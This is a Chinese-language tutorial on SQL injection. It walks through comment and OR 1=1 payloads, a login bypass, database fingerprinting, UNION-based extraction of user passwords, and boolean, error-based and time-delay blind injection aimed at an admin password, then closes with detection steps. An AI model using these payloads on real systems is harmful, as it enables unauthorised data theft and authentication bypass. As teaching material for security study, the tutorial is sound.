SQL注入是一种Web安全漏洞,允许攻击者干扰应用程序对其数据库的查询。攻击者能够通过注入SQL获取到一些通常情况下无法获取的敏感数据例如其他用户的数据。大多数场景中,攻击者可以修改或者删除这些敏感数据而导致应用产生其他异常。在某些情况下,攻击者可以升级SQL注入攻击,以损害基础服务器或其他后端基础架构,或执行拒绝服务攻击。
获取隐藏数据
假设一个查询链接如下:
1
|
curl https://insecure-website.com/products?category=Gifts
|
而这个查询对应的后端查表语句为:
1
|
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
|
正常情况下只能返回released = 1
的数据。通过released参数,开发者本想隐藏一些其他数据例如released = 1
的数据。如果开发者没有进行sql注入防护,则可以将请求修改为:
1
|
curl https://insecure-website.com/products?category=Gifts'--
|
则后端查询语句就会变为:
1
|
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
|
此时后面的and条件就被--
注释掉了,而真正执行的查询语句为:
1
|
SELECT * FROM products WHERE category = 'Gifts'
|
此时就返回了所有的数据。
假设将查询请求修改为
1
|
curl https://insecure-website.com/products?category=Gifts'+OR+1=1--
|
此时查询就变成了
1
|
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
|
也就是表里所有的数据都会被查出来。
修改服务查询逻辑
假设一个服务进行登录验证的逻辑为输入用户名和密码,去表里查对应的数据,将其sql写为:
1
|
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
|
正常情况下,只有username和password同时在一条记录中存在,才能返回对应的值,如果注入这条sql,将sql修改为
1
|
SELECT * FROM users WHERE username = 'wiener'--' AND password = 'bluecheese'
|
则如果表中存在username为wiener的数据,则必定会返回,此时登录验证就会失效,这个是普通用户,假设注入的用户为root用户呢,这样的话整个系统就会非常危险!
获取数据库相关信息
进行注入的时候,一般需要获取数据库相关信息,包括:db版本、表、列。
1. 获取数据库类别和版本
不同数据库有不同的返回版本的方法:
- Microsoft,MySQL:
SELECT @@version
- Oracle:
SELECT * FROM v$version
- PostgreSQL:
SELECT version()
MySQL返回值为:
2. 获取数据库信息
大多数数据库可以通过查询information_schema
获取数据库相关信息,例如MySQL中,information_schema.tables和information_schema.columns的表结构如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
CREATE TEMPORARY TABLE `TABLES` (
`TABLE_CATALOG` varchar(512) NOT NULL DEFAULT '',
`TABLE_SCHEMA` varchar(64) NOT NULL DEFAULT '',
`TABLE_NAME` varchar(64) NOT NULL DEFAULT '',
`TABLE_TYPE` varchar(64) NOT NULL DEFAULT '',
`ENGINE` varchar(64) DEFAULT NULL,
`VERSION` bigint(21) unsigned DEFAULT NULL,
`ROW_FORMAT` varchar(10) DEFAULT NULL,
`TABLE_ROWS` bigint(21) unsigned DEFAULT NULL,
`AVG_ROW_LENGTH` bigint(21) unsigned DEFAULT NULL,
`DATA_LENGTH` bigint(21) unsigned DEFAULT NULL,
`MAX_DATA_LENGTH` bigint(21) unsigned DEFAULT NULL,
`INDEX_LENGTH` bigint(21) unsigned DEFAULT NULL,
`DATA_FREE` bigint(21) unsigned DEFAULT NULL,
`AUTO_INCREMENT` bigint(21) unsigned DEFAULT NULL,
`CREATE_TIME` datetime DEFAULT NULL,
`UPDATE_TIME` datetime DEFAULT NULL,
`CHECK_TIME` datetime DEFAULT NULL,
`TABLE_COLLATION` varchar(32) DEFAULT NULL,
`CHECKSUM` bigint(21) unsigned DEFAULT NULL,
`CREATE_OPTIONS` varchar(255) DEFAULT NULL,
`TABLE_COMMENT` varchar(2048) NOT NULL DEFAULT ''
) ENGINE=MEMORY DEFAULT CHARSET=utf8
CREATE TEMPORARY TABLE `COLUMNS` (
`TABLE_CATALOG` varchar(512) NOT NULL DEFAULT '',
`TABLE_SCHEMA` varchar(64) NOT NULL DEFAULT '',
`TABLE_NAME` varchar(64) NOT NULL DEFAULT '',
`COLUMN_NAME` varchar(64) NOT NULL DEFAULT '',
`ORDINAL_POSITION` bigint(21) unsigned NOT NULL DEFAULT '0',
`COLUMN_DEFAULT` longtext,
`IS_NULLABLE` varchar(3) NOT NULL DEFAULT '',
`DATA_TYPE` varchar(64) NOT NULL DEFAULT '',
`CHARACTER_MAXIMUM_LENGTH` bigint(21) unsigned DEFAULT NULL,
`CHARACTER_OCTET_LENGTH` bigint(21) unsigned DEFAULT NULL,
`NUMERIC_PRECISION` bigint(21) unsigned DEFAULT NULL,
`NUMERIC_SCALE` bigint(21) unsigned DEFAULT NULL,
`DATETIME_PRECISION` bigint(21) unsigned DEFAULT NULL,
`CHARACTER_SET_NAME` varchar(32) DEFAULT NULL,
`COLLATION_NAME` varchar(32) DEFAULT NULL,
`COLUMN_TYPE` longtext NOT NULL,
`COLUMN_KEY` varchar(3) NOT NULL DEFAULT '',
`EXTRA` varchar(30) NOT NULL DEFAULT '',
`PRIVILEGES` varchar(80) NOT NULL DEFAULT '',
`COLUMN_COMMENT` varchar(1024) NOT NULL DEFAULT '',
`GENERATION_EXPRESSION` longtext NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8
|
通过查询上述两个表就可以获取db和table的信息。
Union注入
当服务存在SQL注入漏洞,且查询的值包含在服务的返回值中时,通过使用UNION
就可以从db中的其他tables中读取数据。这种注入被称为UNION注入。
UNION可以执行额外的select语句并将其查询结果合并到原有的sql中:
1
|
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
|
上面的SQL的查询结果包括两列,值来自table1中的a、b以及table2中的c、d。
为了保证union查询能够正常运行,需要满足两个核心条件:
- 独立查询需要包含相同数量的列;
- 每个对应列的数据类型需要相同;
为了能够进行UNION注入,需要判断注入是否满足以下两个条件:
- 原始查询中返回了多少个列;
- 哪些列的原始数据类型符合注入的数据类型;
1. 确定返回列的数量
存在两种方法可以确定返回列的数量。
第一种为注入order
,通过增加排序的列的index来确定列的数量:
1
2
3
|
select * from tables where app="a" order by 1 --
select * from tables where app="a" order by 2 --
select * from tables where app="a" order by 3 --
|
当index超过实际的列的数量时,数据库会返回错误
1
|
ERROR 1054 (42S22): Unknown column '5' in 'order clause'
|
当然实际服务的返回值不会这么直接,一般服务会返回一些error或者空值,通过判断返回值之间的差异性来确定列的数量。
第二种方法为通过UNION
注入NULL列来判断列的数量
1
|
select * from tables where app="a" union select NULL,NULL,NULL--
|
如果返回的错误为:
1
|
ERROR 1222 (21000): The used SELECT statements have a different number of columns
|
则说明与NULL的数量不一致。如果正常的返回结果,则说明列的数量与NULL的数量是一致的。
- 由于union查询需要满足列的数据类型要求,而
NULL
能够满足这个要求。
- 在Orcale中,每个
select
必须要指定一个table,所以Oracle的数据库可以使用UNION select null from DUAL--
2. 查询列的数据类型
为了能够是的注入的SQL返回必要的结果,需要选择一个合适的列的数据类型,一般使用string类型的列,所以需要找到表中是string类型的列。
如果按照步骤1中的方法正确的获取了列的数量,则可以针对性的获取每一列的数据类型是否是string。
1
2
3
4
|
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
|
如果数据类型不是string,则会返回
1
|
Conversion failed when converting the varchar value 'a' to data type int.
|
注意:如果表为空,这种方法是不生效的。
3. 使用UNION注入获取数据
通过上述的方法获取到列的数量和那些列能够返回string类型的数据,可以进一步通过UNION获取一些敏感数据。
假设:
- 原始sql返回两列
- 注入点位于where中
- db中存在users的表
这种情况下,就可以使用如下注入:
1
|
UNION SELECT username, password FROM users--
|
SQL盲注
当服务有sql注入风险,但是其返回值不包括相关的sql查询结果或数据库异常,此时UNION注入就不会起作用,就需要还有sql盲注。
1. 通过触发条件返回值来进行盲注
假设以一个服务通过Cookie中的TrackingID字段来追踪用户行为,每次请求的Header中都会包含如下参数:
1
|
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
|
此时服务端可能会通过如下sql判断用户是否是有效查询:
1
|
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
|
这个sql是存在注入风险的,但是这个查询的结果不会包含在返回值中。但是服务会因为查询结果的差异而表现出不同的返回特性。如果TrackingID是有效的,则会正常返回结果。如果TrackingID无效,则不会返回结果。通过这种不同的触发条件获取的返回值就可以进行SQL盲注。
例如
1
2
|
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' and '1'='1'
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' and '1'='2'
|
第一个注入会正常返回,第二个注入会异常返回,通过这种差异性,我们就可以使用SQL盲注获取数据库的一些关键信息。
假设此时数据库中存在一个用户表users,里面包含了admin的用户名和密码,我们需要通过这个盲注来获取admin的密码。因此可以通过如下注入来获取相关信息。
1
|
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND SUBSTRING((SELECT Password FROM users WHERE username = 'admin'), 1, 1) > 'm'
|
如果正常返回了,说明admin的密码的第一位是大于m的,按照这种思路,继续进行注入:
1
|
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND SUBSTRING((SELECT Password FROM users WHERE username = 'admin'), 1, 1) < 't'
|
如果这条注入没有正常返回,则说明admin的密码的第一位是小于t的。通过不断尝试,即可获得数据库存储的相关用户的密码。
2. 通过触发sql错误来诱导条件响应
如果应用程序执行相同的sql查询但是其返回值均相同,则前述的通过触发条件拿到的不同的返回值来进行sql盲注就不会生效了。这种情况下可以尝试通过触发sql查询错误来获取不同的返回值。例如:
1
2
|
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a'
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a'
|
上述查询第一条会正常返回,第二条会返回一个除0错误,这样就会导致查询sql异常而导致服务返回一些错误信息。
通过上述方法,如果想要获取users表的密码,就可以注入查询为:
1
|
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND (SELECT CASE WHEN (Username = 'admin' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM users)='a'
|
3. 通过触发时间延迟来进行sql盲注
假设服务很好的处理了sql查询错误,返回这也不会存在什么差异,则上述两种方法都不会起作用了,这时可以通过注入查询延迟来进行sql注入。
一般来说,一个http请求中,sql查询是同步的,如果查询的时间长,则http的返回时间也会变长。此时可以通过注入时间延迟来获取相关信息:
1
2
|
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'; IF (1=2) WAITFOR DELAY '0:0:10'--
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'; IF (1=1) WAITFOR DELAY '0:0:10'--
|
第一个sql不会有时间延迟,而第二个查询会存在10s的时间延迟。所以如果需要获取users表的密码,则可以通过如下注入:
1
|
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'admin' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
|
如何发现sql注入风险
- 提交只包含
'
的查询,观察返回结果是否包含错误或其他异常;
- 提交一个sql作为参数进行查询,并修改,观察返回结果的差异性;
- 提交布尔型条件例如
or 1=1
或or 1=2
,返回结果是否存在差异性;
- 注入时间延迟查询,返回结果是否存在差异;